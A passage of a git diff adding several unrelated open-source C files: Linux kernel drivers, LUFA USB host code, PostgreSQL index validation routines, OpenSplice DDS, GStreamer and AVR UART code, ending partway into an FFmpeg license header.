PM800_LONG_ONKEY_EN); + /* Set 8-second interval */ + regmap_update_bits(info->map, PM800_RTC_MISC3, + PM800_LONKEY_PRESS_TIME_MASK, + PM800_LONKEY_PRESS_TIME); + + device_init_wakeup(&pdev->dev, 1); + return 0; + +out_irq: + pm80x_free_irq(info->pm80x, info->irq, info); +out_reg: + input_free_device(info->idev); +out: + kfree(info); + return err; +} + +static int __devexit pm80x_onkey_remove(struct platform_device *pdev) +{ + struct pm80x_onkey_info *info = platform_get_drvdata(pdev); + + device_init_wakeup(&pdev->dev, 0); + pm80x_free_irq(info->pm80x, info->irq, info); + input_unregister_device(info->idev); + kfree(info); + return 0; +} + +static struct platform_driver pm80x_onkey_driver = { + .driver = { + .name = "88pm80x-onkey", + .owner = THIS_MODULE, + .pm = &pm80x_onkey_pm_ops, + }, + .probe = pm80x_onkey_probe, + .remove = __devexit_p(pm80x_onkey_remove), +}; + +module_platform_driver(pm80x_onkey_driver); + +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("Marvell 88PM80x ONKEY driver"); +MODULE_AUTHOR("Qiao Zhou "); +MODULE_ALIAS("platform:88pm80x-onkey"); diff --git a/pool/shard011/C/0141870_ConfigDescriptor.c b/pool/shard011/C/0141870_ConfigDescriptor.c new file mode 100644 index 0000000000000000000000000000000000000000..d0a025c38707dae806e8f0d8a523ecd94a8f1465 --- /dev/null +++ b/pool/shard011/C/0141870_ConfigDescriptor.c @@ -0,0 +1,189 @@ +/* + LUFA Library + Copyright (C) Dean Camera, 2013. + + dean [at] fourwalledcubicle [dot] com + www.lufa-lib.org +*/ + +/* + Copyright 2013 Dean Camera (dean [at] fourwalledcubicle [dot] com) + + Permission to use, copy, modify, distribute, and sell this + software and its documentation for any purpose is hereby granted + without fee, provided that the above copyright notice appear in + all copies and that both that the copyright notice and this + permission notice and warranty disclaimer appear in supporting + documentation, and that the name of the author not be used in + advertising or publicity pertaining to distribution of the + software without specific, written prior permission. + + The author disclaims all warranties with regard to this + software, including all implied warranties of merchantability + and fitness. In no event shall the author be liable for any + special, indirect or consequential damages or any damages + whatsoever resulting from loss of use, data or profits, whether + in an action of contract, negligence or other tortious action, + arising out of or in connection with the use or performance of + this software. +*/ + +/** \file + * + * USB Device Configuration Descriptor processing routines, to determine the correct pipe configurations + * needed to communication with an attached USB device. Descriptors are special computer-readable structures + * which the host requests upon device enumeration, to determine the device's capabilities and functions. + */ + +#include "ConfigDescriptor.h" + +/** Reads and processes an attached device's descriptors, to determine compatibility and pipe configurations. This + * routine will read in the entire configuration descriptor, and configure the hosts pipes to correctly communicate + * with compatible devices. + * + * This routine searches for a HID interface descriptor containing at least one Interrupt type IN endpoint and HID descriptor. + * + * \return An error code from the \ref KeyboardHostWithParser_GetConfigDescriptorDataCodes_t enum. + */ +uint8_t ProcessConfigurationDescriptor(void) +{ + uint8_t ConfigDescriptorData[512]; + void* CurrConfigLocation = ConfigDescriptorData; + uint16_t CurrConfigBytesRem; + + USB_Descriptor_Interface_t* HIDInterface = NULL; + USB_HID_Descriptor_HID_t* HIDDescriptor = NULL; + USB_Descriptor_Endpoint_t* DataINEndpoint = NULL; + + /* Retrieve the entire configuration descriptor into the allocated buffer */ + switch (USB_Host_GetDeviceConfigDescriptor(1, &CurrConfigBytesRem, ConfigDescriptorData, sizeof(ConfigDescriptorData))) + { + case HOST_GETCONFIG_Successful: + break; + case HOST_GETCONFIG_InvalidData: + return InvalidConfigDataReturned; + case HOST_GETCONFIG_BuffOverflow: + return DescriptorTooLarge; + default: + return ControlError; + } + + while (!(DataINEndpoint)) + { + /* See if we've found a likely compatible interface, and if there is an endpoint within that interface */ + if (!(HIDInterface) || + USB_GetNextDescriptorComp(&CurrConfigBytesRem, &CurrConfigLocation, + DComp_NextKeyboardInterfaceDataEndpoint) != DESCRIPTOR_SEARCH_COMP_Found) + { + /* Get the next HID interface from the configuration descriptor */ + if (USB_GetNextDescriptorComp(&CurrConfigBytesRem, &CurrConfigLocation, + DComp_NextKeyboardInterface) != DESCRIPTOR_SEARCH_COMP_Found) + { + /* Descriptor not found, error out */ + return NoCompatibleInterfaceFound; + } + + /* Save the interface in case we need to refer back to it later */ + HIDInterface = DESCRIPTOR_PCAST(CurrConfigLocation, USB_Descriptor_Interface_t); + + /* Get the HID descriptor from the configuration descriptor */ + if (USB_GetNextDescriptorComp(&CurrConfigBytesRem, &CurrConfigLocation, + DComp_NextHID) != DESCRIPTOR_SEARCH_COMP_Found) + { + /* Descriptor not found, error out */ + return NoCompatibleInterfaceFound; + } + + /* Save the HID descriptor for later use */ + HIDDescriptor = DESCRIPTOR_PCAST(CurrConfigLocation, USB_HID_Descriptor_HID_t); + + /* Skip the remainder of the loop as we have not found an endpoint yet */ + continue; + } + + /* Retrieve the endpoint address from the endpoint descriptor */ + USB_Descriptor_Endpoint_t* EndpointData = DESCRIPTOR_PCAST(CurrConfigLocation, USB_Descriptor_Endpoint_t); + + /* If the endpoint is a IN type endpoint */ + if ((EndpointData->EndpointAddress & ENDPOINT_DIR_MASK) == ENDPOINT_DIR_IN) + DataINEndpoint = EndpointData; + } + + /* Configure the HID data IN pipe */ + Pipe_ConfigurePipe(KEYBOARD_DATA_IN_PIPE, EP_TYPE_INTERRUPT, DataINEndpoint->EndpointAddress, DataINEndpoint->EndpointSize, 1); + Pipe_SetInterruptPeriod(DataINEndpoint->PollingIntervalMS); + + /* Get the HID report size from the HID report descriptor */ + HIDReportSize = HIDDescriptor->HIDReportLength; + + /* Valid data found, return success */ + return SuccessfulConfigRead; +} + +/** Descriptor comparator function. This comparator function is can be called while processing an attached USB device's + * configuration descriptor, to search for a specific sub descriptor. It can also be used to abort the configuration + * descriptor processing if an incompatible descriptor configuration is found. + * + * This comparator searches for the next Interface descriptor of the correct Keyboard HID Class and Protocol values. + * + * \return A value from the DSEARCH_Return_ErrorCodes_t enum + */ +uint8_t DComp_NextKeyboardInterface(void* CurrentDescriptor) +{ + USB_Descriptor_Header_t* Header = DESCRIPTOR_PCAST(CurrentDescriptor, USB_Descriptor_Header_t); + + if (Header->Type == DTYPE_Interface) + { + USB_Descriptor_Interface_t* Interface = DESCRIPTOR_PCAST(CurrentDescriptor, USB_Descriptor_Interface_t); + + /* Check the HID descriptor class, break out if correct class interface found */ + if (Interface->Class == HID_CSCP_HIDClass) + { + return DESCRIPTOR_SEARCH_Found; + } + } + + return DESCRIPTOR_SEARCH_NotFound; +} + +/** Descriptor comparator function. This comparator function is can be called while processing an attached USB device's + * configuration descriptor, to search for a specific sub descriptor. It can also be used to abort the configuration + * descriptor processing if an incompatible descriptor configuration is found. + * + * This comparator searches for the next Endpoint descriptor inside the current interface descriptor, aborting the + * search if another interface descriptor is found before the required endpoint. + * + * \return A value from the DSEARCH_Return_ErrorCodes_t enum + */ +uint8_t DComp_NextKeyboardInterfaceDataEndpoint(void* CurrentDescriptor) +{ + USB_Descriptor_Header_t* Header = DESCRIPTOR_PCAST(CurrentDescriptor, USB_Descriptor_Header_t); + + if (Header->Type == DTYPE_Endpoint) + return DESCRIPTOR_SEARCH_Found; + else if (Header->Type == DTYPE_Interface) + return DESCRIPTOR_SEARCH_Fail; + else + return DESCRIPTOR_SEARCH_NotFound; +} + +/** Descriptor comparator function. This comparator function is can be called while processing an attached USB device's + * configuration descriptor, to search for a specific sub descriptor. It can also be used to abort the configuration + * descriptor processing if an incompatible descriptor configuration is found. + * + * This comparator searches for the next HID descriptor within the current HID interface descriptor. + * + * \return A value from the DSEARCH_Return_ErrorCodes_t enum + */ +uint8_t DComp_NextHID(void* CurrentDescriptor) +{ + USB_Descriptor_Header_t* Header = DESCRIPTOR_PCAST(CurrentDescriptor, USB_Descriptor_Header_t); + + if (Header->Type == HID_DTYPE_HID) + return DESCRIPTOR_SEARCH_Found; + else if (Header->Type == DTYPE_Interface) + return DESCRIPTOR_SEARCH_Fail; + else + return DESCRIPTOR_SEARCH_NotFound; +} + diff --git a/pool/shard011/C/0141871_tegra_wm9712.c b/pool/shard011/C/0141871_tegra_wm9712.c new file mode 100644 index 0000000000000000000000000000000000000000..68d42403d9b5b871c0e2e54f32c1fe524cc6acb2 --- /dev/null +++ b/pool/shard011/C/0141871_tegra_wm9712.c @@ -0,0 +1,176 @@ +/* + * tegra20_wm9712.c - Tegra machine ASoC driver for boards using WM9712 codec. + * + * Copyright 2012 Lucas Stach + * + * Partly based on code copyright/by: + * Copyright 2011,2012 Toradex Inc. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + */ + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#define DRV_NAME "tegra-snd-wm9712" + +struct tegra_wm9712 { + struct platform_device *codec; +}; + +static const struct snd_soc_dapm_widget tegra_wm9712_dapm_widgets[] = { + SND_SOC_DAPM_HP("Headphone", NULL), + SND_SOC_DAPM_LINE("LineIn", NULL), + SND_SOC_DAPM_MIC("Mic", NULL), +}; + +static int tegra_wm9712_init(struct snd_soc_pcm_runtime *rtd) +{ + struct snd_soc_dai *codec_dai = rtd->codec_dai; + struct snd_soc_codec *codec = codec_dai->codec; + struct snd_soc_dapm_context *dapm = &codec->dapm; + + snd_soc_dapm_force_enable_pin(dapm, "Mic Bias"); + + return snd_soc_dapm_sync(dapm); +} + +static struct snd_soc_dai_link tegra_wm9712_dai = { + .name = "AC97 HiFi", + .stream_name = "AC97 HiFi", + .cpu_dai_name = "tegra-ac97-pcm", + .codec_dai_name = "wm9712-hifi", + .codec_name = "wm9712-codec", + .init = tegra_wm9712_init, +}; + +static struct snd_soc_card snd_soc_tegra_wm9712 = { + .name = "tegra-wm9712", + .owner = THIS_MODULE, + .dai_link = &tegra_wm9712_dai, + .num_links = 1, + + .dapm_widgets = tegra_wm9712_dapm_widgets, + .num_dapm_widgets = ARRAY_SIZE(tegra_wm9712_dapm_widgets), + .fully_routed = true, +}; + +static int tegra_wm9712_driver_probe(struct platform_device *pdev) +{ + struct device_node *np = pdev->dev.of_node; + struct snd_soc_card *card = &snd_soc_tegra_wm9712; + struct tegra_wm9712 *machine; + int ret; + + if (!pdev->dev.of_node) { + dev_err(&pdev->dev, "No platform data supplied\n"); + return -EINVAL; + } + + machine = devm_kzalloc(&pdev->dev, sizeof(struct tegra_wm9712), + GFP_KERNEL); + if (!machine) { + dev_err(&pdev->dev, "Can't allocate tegra_wm9712 struct\n"); + return -ENOMEM; + } + + card->dev = &pdev->dev; + platform_set_drvdata(pdev, card); + snd_soc_card_set_drvdata(card, machine); + + machine->codec = platform_device_alloc("wm9712-codec", -1); + if (!machine->codec) { + dev_err(&pdev->dev, "Can't allocate wm9712 platform device\n"); + return -ENOMEM; + } + + ret = platform_device_add(machine->codec); + if (ret) + goto codec_put; + + ret = snd_soc_of_parse_card_name(card, "nvidia,model"); + if (ret) + goto codec_unregister; + + ret = snd_soc_of_parse_audio_routing(card, "nvidia,audio-routing"); + if (ret) + goto codec_unregister; + + tegra_wm9712_dai.cpu_of_node = of_parse_phandle(np, + "nvidia,ac97-controller", 0); + if (!tegra_wm9712_dai.cpu_of_node) { + dev_err(&pdev->dev, + "Property 'nvidia,ac97-controller' missing or invalid\n"); + ret = -EINVAL; + goto codec_unregister; + } + + tegra_wm9712_dai.platform_of_node = tegra_wm9712_dai.cpu_of_node; + + ret = snd_soc_register_card(card); + if (ret) { + dev_err(&pdev->dev, "snd_soc_register_card failed (%d)\n", + ret); + goto codec_unregister; + } + + return 0; + +codec_unregister: + platform_device_del(machine->codec); +codec_put: + platform_device_put(machine->codec); + return ret; +} + +static int tegra_wm9712_driver_remove(struct platform_device *pdev) +{ + struct snd_soc_card *card = platform_get_drvdata(pdev); + struct tegra_wm9712 *machine = snd_soc_card_get_drvdata(card); + + snd_soc_unregister_card(card); + + platform_device_unregister(machine->codec); + + return 0; +} + +static const struct of_device_id tegra_wm9712_of_match[] = { + { .compatible = "nvidia,tegra-audio-wm9712", }, + {}, +}; + +static struct platform_driver tegra_wm9712_driver = { + .driver = { + .name = DRV_NAME, + .owner = THIS_MODULE, + .pm = &snd_soc_pm_ops, + .of_match_table = tegra_wm9712_of_match, + }, + .probe = tegra_wm9712_driver_probe, + .remove = tegra_wm9712_driver_remove, +}; +module_platform_driver(tegra_wm9712_driver); + +MODULE_AUTHOR("Lucas Stach"); +MODULE_DESCRIPTION("Tegra+WM9712 machine ASoC driver"); +MODULE_LICENSE("GPL v2"); +MODULE_ALIAS("platform:" DRV_NAME); +MODULE_DEVICE_TABLE(of, tegra_wm9712_of_match); diff --git a/pool/shard011/C/0141872_amvalidate.c b/pool/shard011/C/0141872_amvalidate.c new file mode 100644 index 0000000000000000000000000000000000000000..80865e9ff9bf4fc646ba5120fc9a961fb82d25f5 --- /dev/null +++ b/pool/shard011/C/0141872_amvalidate.c @@ -0,0 +1,246 @@ +/*------------------------------------------------------------------------- + * + * amvalidate.c + * Support routines for index access methods' amvalidate functions. + * + * Copyright (c) 2016-2017, PostgreSQL Global Development Group + * + * + * IDENTIFICATION + * src/backend/access/index/amvalidate.c + * + *------------------------------------------------------------------------- + */ +#include "postgres.h" + +#include "access/amvalidate.h" +#include "access/htup_details.h" +#include "catalog/pg_am.h" +#include "catalog/pg_amop.h" +#include "catalog/pg_amproc.h" +#include "catalog/pg_opclass.h" +#include "catalog/pg_operator.h" +#include "catalog/pg_proc.h" +#include "parser/parse_coerce.h" +#include "utils/syscache.h" + + +/* + * identify_opfamily_groups() returns a List of OpFamilyOpFuncGroup structs, + * one for each combination of lefttype/righttype present in the family's + * operator and support function lists. If amopstrategy K is present for + * this datatype combination, we set bit 1 << K in operatorset, and similarly + * for the support functions. With uint64 fields we can handle operator and + * function numbers up to 63, which is plenty for the foreseeable future. + * + * The given CatCLists are expected to represent a single opfamily fetched + * from the AMOPSTRATEGY and AMPROCNUM caches, so that they will be in + * order by those caches' second and third cache keys, namely the datatypes. + */ +List * +identify_opfamily_groups(CatCList *oprlist, CatCList *proclist) +{ + List *result = NIL; + OpFamilyOpFuncGroup *thisgroup; + Form_pg_amop oprform; + Form_pg_amproc procform; + int io, + ip; + + /* We need the lists to be ordered; should be true in normal operation */ + if (!oprlist->ordered || !proclist->ordered) + elog(ERROR, "cannot validate operator family without ordered data"); + + /* + * Advance through the lists concurrently. Thanks to the ordering, we + * should see all operators and functions of a given datatype pair + * consecutively. + */ + thisgroup = NULL; + io = ip = 0; + if (io < oprlist->n_members) + { + oprform = (Form_pg_amop) GETSTRUCT(&oprlist->members[io]->tuple); + io++; + } + else + oprform = NULL; + if (ip < proclist->n_members) + { + procform = (Form_pg_amproc) GETSTRUCT(&proclist->members[ip]->tuple); + ip++; + } + else + procform = NULL; + + while (oprform || procform) + { + if (oprform && thisgroup && + oprform->amoplefttype == thisgroup->lefttype && + oprform->amoprighttype == thisgroup->righttype) + { + /* Operator belongs to current group; include it and advance */ + + /* Ignore strategy numbers outside supported range */ + if (oprform->amopstrategy > 0 && oprform->amopstrategy < 64) + thisgroup->operatorset |= ((uint64) 1) << oprform->amopstrategy; + + if (io < oprlist->n_members) + { + oprform = (Form_pg_amop) GETSTRUCT(&oprlist->members[io]->tuple); + io++; + } + else + oprform = NULL; + continue; + } + + if (procform && thisgroup && + procform->amproclefttype == thisgroup->lefttype && + procform->amprocrighttype == thisgroup->righttype) + { + /* Procedure belongs to current group; include it and advance */ + + /* Ignore function numbers outside supported range */ + if (procform->amprocnum > 0 && procform->amprocnum < 64) + thisgroup->functionset |= ((uint64) 1) << procform->amprocnum; + + if (ip < proclist->n_members) + { + procform = (Form_pg_amproc) GETSTRUCT(&proclist->members[ip]->tuple); + ip++; + } + else + procform = NULL; + continue; + } + + /* Time for a new group */ + thisgroup = (OpFamilyOpFuncGroup *) palloc(sizeof(OpFamilyOpFuncGroup)); + if (oprform && + (!procform || + (oprform->amoplefttype < procform->amproclefttype || + (oprform->amoplefttype == procform->amproclefttype && + oprform->amoprighttype < procform->amprocrighttype)))) + { + thisgroup->lefttype = oprform->amoplefttype; + thisgroup->righttype = oprform->amoprighttype; + } + else + { + thisgroup->lefttype = procform->amproclefttype; + thisgroup->righttype = procform->amprocrighttype; + } + thisgroup->operatorset = thisgroup->functionset = 0; + result = lappend(result, thisgroup); + } + + return result; +} + +/* + * Validate the signature (argument and result types) of an opclass support + * function. Return TRUE if OK, FALSE if not. + * + * The "..." represents maxargs argument-type OIDs. If "exact" is TRUE, they + * must match the function arg types exactly, else only binary-coercibly. + * In any case the function result type must match restype exactly. + */ +bool +check_amproc_signature(Oid funcid, Oid restype, bool exact, + int minargs, int maxargs,...) +{ + bool result = true; + HeapTuple tp; + Form_pg_proc procform; + va_list ap; + int i; + + tp = SearchSysCache1(PROCOID, ObjectIdGetDatum(funcid)); + if (!HeapTupleIsValid(tp)) + elog(ERROR, "cache lookup failed for function %u", funcid); + procform = (Form_pg_proc) GETSTRUCT(tp); + + if (procform->prorettype != restype || procform->proretset || + procform->pronargs < minargs || procform->pronargs > maxargs) + result = false; + + va_start(ap, maxargs); + for (i = 0; i < maxargs; i++) + { + Oid argtype = va_arg(ap, Oid); + + if (i >= procform->pronargs) + continue; + if (exact ? (argtype != procform->proargtypes.values[i]) : + !IsBinaryCoercible(argtype, procform->proargtypes.values[i])) + result = false; + } + va_end(ap); + + ReleaseSysCache(tp); + return result; +} + +/* + * Validate the signature (argument and result types) of an opclass operator. + * Return TRUE if OK, FALSE if not. + * + * Currently, we can hard-wire this as accepting only binary operators. Also, + * we can insist on exact type matches, since the given lefttype/righttype + * come from pg_amop and should always match the operator exactly. + */ +bool +check_amop_signature(Oid opno, Oid restype, Oid lefttype, Oid righttype) +{ + bool result = true; + HeapTuple tp; + Form_pg_operator opform; + + tp = SearchSysCache1(OPEROID, ObjectIdGetDatum(opno)); + if (!HeapTupleIsValid(tp)) /* shouldn't happen */ + elog(ERROR, "cache lookup failed for operator %u", opno); + opform = (Form_pg_operator) GETSTRUCT(tp); + + if (opform->oprresult != restype || opform->oprkind != 'b' || + opform->oprleft != lefttype || opform->oprright != righttype) + result = false; + + ReleaseSysCache(tp); + return result; +} + +/* + * Is the datatype a legitimate input type for the btree opfamily? + */ +bool +opfamily_can_sort_type(Oid opfamilyoid, Oid datatypeoid) +{ + bool result = false; + CatCList *opclist; + int i; + + /* + * We search through all btree opclasses to see if one matches. This is a + * bit inefficient but there is no better index available. It also saves + * making an explicit check that the opfamily belongs to btree. + */ + opclist = SearchSysCacheList1(CLAAMNAMENSP, ObjectIdGetDatum(BTREE_AM_OID)); + + for (i = 0; i < opclist->n_members; i++) + { + HeapTuple classtup = &opclist->members[i]->tuple; + Form_pg_opclass classform = (Form_pg_opclass) GETSTRUCT(classtup); + + if (classform->opcfamily == opfamilyoid && + classform->opcintype == datatypeoid) + { + result = true; + break; + } + } + + ReleaseCatCacheList(opclist); + + return result; +} diff --git a/pool/shard011/C/0141873_v_dataViewSample.c b/pool/shard011/C/0141873_v_dataViewSample.c new file mode 100644 index 0000000000000000000000000000000000000000..2857ede529c32ff58fe10c3131d95e962d2b97af --- /dev/null +++ b/pool/shard011/C/0141873_v_dataViewSample.c @@ -0,0 +1,136 @@ +/* + * OpenSplice DDS + * + * This software and documentation are Copyright 2006 to 2013 PrismTech + * Limited and its licensees. All rights reserved. See file: + * + * $OSPL_HOME/LICENSE + * + * for full copyright notice and license terms. + * + */ + + +#include "v_dataViewSample.h" +#include "v_dataViewInstance.h" +#include "v_dataView.h" +#include "v__reader.h" +#include "v_time.h" +#include "v_state.h" +#include "os_report.h" + +#define PRINT_REFCOUNT(functionName, sample) + + +#ifdef EXTENDED_CHECKING +void checkInstance(v_dataViewInstance instance, c_bool isNotEmpty); +#define CHECK_INSTANCE(instance) checkInstance(instance, TRUE) +#define CHECK_ZERO_INSTANCE(instance) checkInstance(instance, FALSE) +#else +#define CHECK_INSTANCE(instance) +#define CHECK_ZERO_INSTANCE(instance) +#endif + + +v_dataViewSample +v_dataViewSampleNew( + v_dataViewInstance instance, + v_readerSample masterSample) +{ + v_dataView dataView; + v_dataViewSample sample; + + assert(instance != NULL); + assert(masterSample != NULL); + assert(C_TYPECHECK(masterSample,v_readerSample)); + + dataView = v_dataView(instance->dataView); + sample = v_dataViewSample(c_new(dataView->sampleType)); + if (sample) { + v_readerSample(sample)->instance = (c_voidp)instance; + v_readerSample(sample)->sampleState = L_VALIDDATA; + v_dataViewSampleList(sample)->next = NULL; + v_dataViewSampleList(sample)->prev = NULL; + sample->prev = NULL; + v_dataViewSampleTemplate(sample)->sample = c_keep(masterSample); + } else { + OS_REPORT(OS_ERROR, + "v_dataViewSampleNew",0, + "Failed to allocate v_dataViewSample object."); + assert(FALSE); + } + return sample; +} + + +void +v_dataViewSampleFree( + v_dataViewSample sample) +{ + OS_UNUSED_ARG(sample); + assert(sample != NULL); + assert(C_TYPECHECK(sample, v_dataViewSample)); + + PRINT_REFCOUNT(v_dataViewSampleFree, sample); + /* Free the slave-samples as well */ + + PRINT_REFCOUNT(v_dataViewSampleFree, sample); +} + +void +v_dataViewSampleRemove( + v_dataViewSample sample) +{ + v_dataViewInstance instance; + + assert(C_TYPECHECK(sample,v_dataViewSample)); + + instance = v_dataViewInstance(v_readerSample(sample)->instance); + CHECK_INSTANCE(instance); + + if (instance->sampleCount > 1) { + if (sample->next != NULL) { + v_dataViewSample(sample->next)->prev = sample->prev; + } else { + v_dataViewInstanceTemplate(instance)->sample = sample->prev; + } + if (sample->prev != NULL) { + v_dataViewSample(sample->prev)->next = sample->next; + } + sample->prev = NULL; + sample->next = NULL; + v_readerSampleSetState(sample, L_REMOVED); + c_free(sample); + } else { + v_readerSampleSetState(sample, L_REMOVED); + } + instance->sampleCount--; + if (instance->sampleCount > 0) { + CHECK_INSTANCE(instance); + } else { + CHECK_ZERO_INSTANCE(instance); + } +} + +void +v_dataViewSampleListRemove( + v_dataViewSampleList sample) +{ + assert(C_TYPECHECK(sample,v_dataViewSampleList)); + assert(v_dataViewInstance(v_readerSample(sample)->instance)->sampleCount > 0); + CHECK_INSTANCE(v_dataViewInstance(v_readerSample(sample)->instance)); + + if (sample->next != NULL) { + v_dataViewSampleList(sample->next)->prev = sample->prev; + } + if (sample->prev != NULL) { + v_dataViewSampleList(sample->prev)->next = sample->next; + } else { + assert(v_dataViewSampleTemplate(sample)->sample->viewSamples == sample); + v_dataViewSampleTemplate(sample)->sample->viewSamples = sample->next; + } + sample->prev = NULL; + sample->next = NULL; + CHECK_INSTANCE(v_dataViewInstance(v_readerSample(sample)->instance)); +} + diff --git a/pool/shard011/C/0141874_main.c b/pool/shard011/C/0141874_main.c new file mode 100644 index 0000000000000000000000000000000000000000..4eb408a341824836da8a00aaf400bae129e35910 --- /dev/null +++ b/pool/shard011/C/0141874_main.c @@ -0,0 +1,74 @@ +/** + * Copyright (c) 2016, Łukasz Marcin Podkalicki + * ATmega8/002 + * Simple debug logging via UART. + * + * Simplified wiring diagram: + * +------------+----------------+ + * | ATMEGA8 | Serial Adapter | + * +------------+----------------+ + * | PD1 (TXD) | RXD | + * +------------+----------------+ + * | GND | GND | + * +------------+----------------+ + * + */ + +#include +#include +#include + +static void UART_init(uint16_t baudrate); +static void UART_putc(char c); +static void UART_puts(const char *s); + +int +main(void) +{ + /* setup */ + UART_init(38400); + + /* loop */ + while (1) { + UART_puts("Hello :)\n"); + _delay_ms(1000); + } +} + +void +UART_init(uint16_t baudrate) +{ + uint16_t baudrate_calc = (F_CPU / 4 / baudrate - 1) / 2; + + /* Set PD1 (TXD) as output */ + DDRD |= _BV(PD1); + + /* Set calculated baud rate */ + UBRRH = baudrate_calc >> 8; + UBRRL = baudrate_calc; + + /* Double the USART transmition speed */ + UCSRA = _BV(U2X); + + /* Enable transmition */ + UCSRB = _BV(TXEN); + + /* Set format 8N1 */ + UCSRC = _BV(URSEL) | _BV(UCSZ1) | _BV(UCSZ0); +} + +void +UART_putc(char c) +{ + /* Wait for empty transmit buffer */ + while (!(UCSRA & _BV(UDRE))); + /* Put data into buffer, sends the data */ + UDR = c; +} + +void +UART_puts(const char *s) +{ + + while (*s) UART_putc(*(s++)); +} diff --git a/pool/shard011/C/0141875_gstrtpmp1sdepay.c b/pool/shard011/C/0141875_gstrtpmp1sdepay.c new file mode 100644 index 0000000000000000000000000000000000000000..e7ff2fb9ec66ed8cd24b271474efa5556fd23e3a --- /dev/null +++ b/pool/shard011/C/0141875_gstrtpmp1sdepay.c @@ -0,0 +1,146 @@ +/* GStreamer + * Copyright (C) <2008> Wim Taymans + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with this library; if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + */ + +#ifdef HAVE_CONFIG_H +# include "config.h" +#endif + +#include + +#include +#include "gstrtpmp1sdepay.h" + +/* RtpMP1SDepay signals and args */ +enum +{ + /* FILL ME */ + LAST_SIGNAL +}; + +enum +{ + PROP_0, + PROP_LAST +}; + +static GstStaticPadTemplate gst_rtp_mp1s_depay_src_template = +GST_STATIC_PAD_TEMPLATE ("src", + GST_PAD_SRC, + GST_PAD_ALWAYS, + GST_STATIC_CAPS ("video/mpeg,systemstream=(boolean)true") + ); + +/* The spec says video/MP1S but I have seen streams with other/MP1S so we will + * allow them both */ +static GstStaticPadTemplate gst_rtp_mp1s_depay_sink_template = + GST_STATIC_PAD_TEMPLATE ("sink", + GST_PAD_SINK, + GST_PAD_ALWAYS, + GST_STATIC_CAPS ("application/x-rtp, " + "media = (string) \"other\", " + "payload = (int) " GST_RTP_PAYLOAD_DYNAMIC_STRING ", " + "clock-rate = (int) [1, MAX ], " "encoding-name = (string) \"MP1S\";" + "application/x-rtp, " + "media = (string) \"video\", " + "payload = (int) " GST_RTP_PAYLOAD_DYNAMIC_STRING ", " + "clock-rate = (int) [1, MAX ], " "encoding-name = (string) \"MP1S\"") + ); + +GST_BOILERPLATE (GstRtpMP1SDepay, gst_rtp_mp1s_depay, GstBaseRTPDepayload, + GST_TYPE_BASE_RTP_DEPAYLOAD); + +static gboolean gst_rtp_mp1s_depay_setcaps (GstBaseRTPDepayload * depayload, + GstCaps * caps); +static GstBuffer *gst_rtp_mp1s_depay_process (GstBaseRTPDepayload * depayload, + GstBuffer * buf); + +static void +gst_rtp_mp1s_depay_base_init (gpointer klass) +{ + GstElementClass *element_class = GST_ELEMENT_CLASS (klass); + + gst_element_class_add_static_pad_template (element_class, + &gst_rtp_mp1s_depay_src_template); + gst_element_class_add_static_pad_template (element_class, + &gst_rtp_mp1s_depay_sink_template); + + gst_element_class_set_details_simple (element_class, + "RTP MPEG1 System Stream depayloader", "Codec/Depayloader/Network/RTP", + "Extracts MPEG1 System Streams from RTP packets (RFC 3555)", + "Wim Taymans "); +} + +static void +gst_rtp_mp1s_depay_class_init (GstRtpMP1SDepayClass * klass) +{ + GstBaseRTPDepayloadClass *gstbasertpdepayload_class; + + gstbasertpdepayload_class = (GstBaseRTPDepayloadClass *) klass; + + gstbasertpdepayload_class->process = gst_rtp_mp1s_depay_process; + gstbasertpdepayload_class->set_caps = gst_rtp_mp1s_depay_setcaps; +} + +static void +gst_rtp_mp1s_depay_init (GstRtpMP1SDepay * rtpmp1sdepay, + GstRtpMP1SDepayClass * klass) +{ +} + +static gboolean +gst_rtp_mp1s_depay_setcaps (GstBaseRTPDepayload * depayload, GstCaps * caps) +{ + GstCaps *srccaps; + GstStructure *structure; + gint clock_rate; + gboolean res; + + structure = gst_caps_get_structure (caps, 0); + if (!gst_structure_get_int (structure, "clock-rate", &clock_rate)) + clock_rate = 90000; /* default */ + depayload->clock_rate = clock_rate; + + srccaps = gst_caps_new_simple ("video/mpeg", + "systemstream", G_TYPE_BOOLEAN, TRUE, NULL); + res = gst_pad_set_caps (GST_BASE_RTP_DEPAYLOAD_SRCPAD (depayload), srccaps); + gst_caps_unref (srccaps); + + return res; +} + +static GstBuffer * +gst_rtp_mp1s_depay_process (GstBaseRTPDepayload * depayload, GstBuffer * buf) +{ + GstBuffer *outbuf; + + outbuf = gst_rtp_buffer_get_payload_buffer (buf); + + if (outbuf) + GST_DEBUG ("gst_rtp_mp1s_depay_chain: pushing buffer of size %d", + GST_BUFFER_SIZE (outbuf)); + + return outbuf; +} + +gboolean +gst_rtp_mp1s_depay_plugin_init (GstPlugin * plugin) +{ + return gst_element_register (plugin, "rtpmp1sdepay", + GST_RANK_SECONDARY, GST_TYPE_RTP_MP1S_DEPAY); +} diff --git a/pool/shard011/C/0141876_noise_bsf.c b/pool/shard011/C/0141876_noise_bsf.c new file mode 100644 index 0000000000000000000000000000000000000000..524a9249c0f4529a7af2eabefb47f43eddfd2a5f --- /dev/null +++ b/pool/shard011/C/0141876_noise_bsf.c @@ -0,0 +1,61 @@ +/* + * copyright (c) 2006 Michael Niedermayer + * + * This file is part of FFmpeg. + * + * FFmpeg is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * FFmpeg is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * 